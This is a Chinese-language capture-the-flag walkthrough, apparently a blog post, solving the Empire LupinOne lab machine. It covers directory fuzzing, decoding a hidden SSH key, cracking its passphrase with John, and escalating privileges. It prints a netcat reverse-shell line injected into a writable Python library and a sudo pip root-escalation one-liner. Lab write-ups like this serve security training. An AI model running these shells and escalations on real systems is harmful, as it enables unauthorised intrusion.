Empire_LupinOne靶机分享

信息收集

  • 开启靶机之后发现有IP信息,省去了查找ip

直接运用nmap对此IP进行扫描

nmap -A 192.168.84.158        # 全面快速扫描默认常用的一千种端口

在这里插入图片描述

敏感目录扫描

  • 目录扫描工具 dirbuster
dirsearch -u http://192.168.84.158 

发现有可疑目录robots.txt为一个反爬虫文件

在这里插入图片描述

  • 尝试访问此目录
  • 访问成功
  • 发现有一个禁止爬取的目录Disallow

在这里插入图片描述

  • 进行尝试访问一下disallow里面的/~myfiles

    此处注意disallow下的/~myfiles里的~有些可疑

    猜测既然是一个禁止爬取的目录,应该还会有一个以~开头的文件

  • 结果发现为404页面

  • 查看一下源码确认一下是否真的为404页面真的不存在

  • 发现有源码并不是真的404

  • 猜测方向是对的

在这里插入图片描述

  • 既然这样便进行对带有~目录进行扫描
dirsearch -u http://192.168.84.158 --prefixes '~'
# 加引号 ~ 是为了 防止对家目录进行扫描
# ~ 代表家目录

在这里插入图片描述

或也可以用进行扫描

wfuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.84.158/~FUZZ --hh 275 
# -u 代表指定url
# --hh 275 运行上方命令之后点击ctrl+c中断查看爆出的最多的进行一个过滤
  • 如果没有此目录进行一个下载
apt install seclists
  • 查看内容,发现里面有一个隐藏文件

  • 访问此页面,猜测

    用户名为:icex64

    还有一个私钥文件被隐藏起来了
    在这里插入图片描述

  • 对私钥进行查找

    然后对其隐藏文件进行扫描

dirsearch -u http://19.168.84.158/~secret/ --prefixex '.' -X txt,id_rsa
# 发现并没有扫描出来什么,尝试换一个字典进行扫描

在这里插入图片描述

 wfuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.84.158/~secret/.FUZZ.txt --hh 276
 # 扫描隐藏文件,以 .txt结尾
 --hh 后面数字为过滤的文件信息

在这里插入图片描述

  • 扫描完成

    发现可疑隐藏文件尝试进行访问

在这里插入图片描述

  • 然后对其访问查看

    乱码???

    仔细查看发现为base格式编码,尝试解码

    • base16

      特征特点:密文由16个字符(0-9,A-F)组成

    • base32编码:

      特征:密文由32个字符(A-Z,2-7)组成,末尾可能会有‘=’,但最多有6个

    • base36

      特征:密文由36个字符(0-9,a-z)组成,加密仅支持整数数字,解密仅支持字符串,不支持中文 密文由36个字符(0-9,A-Z

    • bse62编码

      特征:密文由62字符(0-9,a-z,A-Z)组成

    • base64编码

      特征特点:密文由64个字符(A-Z,a-z,0-9,+,/)组成,区分字母大小写,末尾可能会出现1或2个’=’ 最多有2个,明文越长数字越长

    • base91编码

      特征:密文由91个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}”)组成

    • base92编码

      特征特点:密文由92个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}”~)组成

在这里插入图片描述

  • 发现为base58编码

    发现解密出来了私钥

    在这里插入图片描述

  • 进入kali输入

    vi id
    
  • 将刚解码完成的key密钥粘贴进去

    esc输入:wq保存并退出

在这里插入图片描述

  • 然后对其私钥进行密码爆破
ssh2john id > tmp			# 首先将id私钥放入tmp里面转化为可破解的格式

# 开始密码破解 使用工具john
john tmp
# 或
john tmp --wordlist=/usr/share/seclists/Passwords/Default-Credentialt-passwords.txt
# 运用此密码字典进行爆破
  • 得到密码P@55w0rd!

登录

  • 登录之前需要给私钥文件提权

    如果不提权的话将会登录登录不成功

    进入刚建好的文件目录下

    chmod 600 id
    
  • 提权完成
    在这里插入图片描述

  • 经上方nmap扫描已得知开启了ssh 22端口尝试ssh登录

在这里插入图片描述

  • 登陆成功

尝试提权

  • 首先查看一下有没有什么sudo权限

    sudo -l

在这里插入图片描述

  • 发现无需密码可以执行/home/arsene/heist.py此文件

  • 先去访问一下这个文件看是否可以查到

    ls -l /home/arsene/heist.py

    发现可以看到此文件进行查看文件内容

    cat /home/arsene/heist.py

在这里插入图片描述

  • 发现此文件可以进行提权

    此文件是导入了一个webbrowser

    还调用了一个open的函数

  • 进入此文件的目录里

    尝试新建一个和这个库名一样的文件重写一个open的方法来进行反弹shell

    发现没有权限

  • 尝试注入这个库,看这个库文件能不能进行写入

    然后去查看这个python的库

    python3 -c "import sys;print(sys.path)"

在这里插入图片描述

  • 经查看后得知为/usr/lib/python3.9此目录ls查看

在这里插入图片描述

ls -la查看详细信息发现这为明显是一个漏洞,此文件的权限是所有人都可以编辑

在这里插入图片描述

  • 进行对此文件编译nano webbrowser.py

    nano是一个精简版的vi

    不用vi是因为vi有点小问题

在这里插入图片描述

  • 经上面已知调用了一个open函数找到这个函数

    对其写入一个反弹shell

    os.system('nc -e /bin/bash 192.168.84.128 8888')

    CTRL+s保存ctrl+z退出

  • 第二种方式见下方

在这里插入图片描述

kali里面打开nc -lvvc 8888接收反弹shell

sudo -l

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

在这里插入图片描述

用于接收回显提示符

python3 -c 'import pty as pt;pt.spawn("/bin/bash")'

第二种方式

  • 进行对此文件编译

    nano webbrowser.py

    同上进行编译此文件添加

    os.system("/bin/bash")

在这里插入图片描述

  • 添加完成之后再次查看

    sudo -l

提权

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
在这里插入图片描述

  • 进入之后首先进行查看权限

    发现可以使用root的身份执行pip命令

在这里插入图片描述

二次提权

TF=$(mktemp -d)		# 在tmp目录下生成一个临时文件,并把路径赋给变量TF。所以$TF是一个文件
echo "import os; os.execl('/bin/bash','sh','-c','sh <$(tty)>$(tty)')" > $TF/setup.py
sudo pip install $TF		
python3 -c 'import pty as pt;pt.spawn("/bin/bash")' # 显示回显当前目录

在这里插入图片描述

提权成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值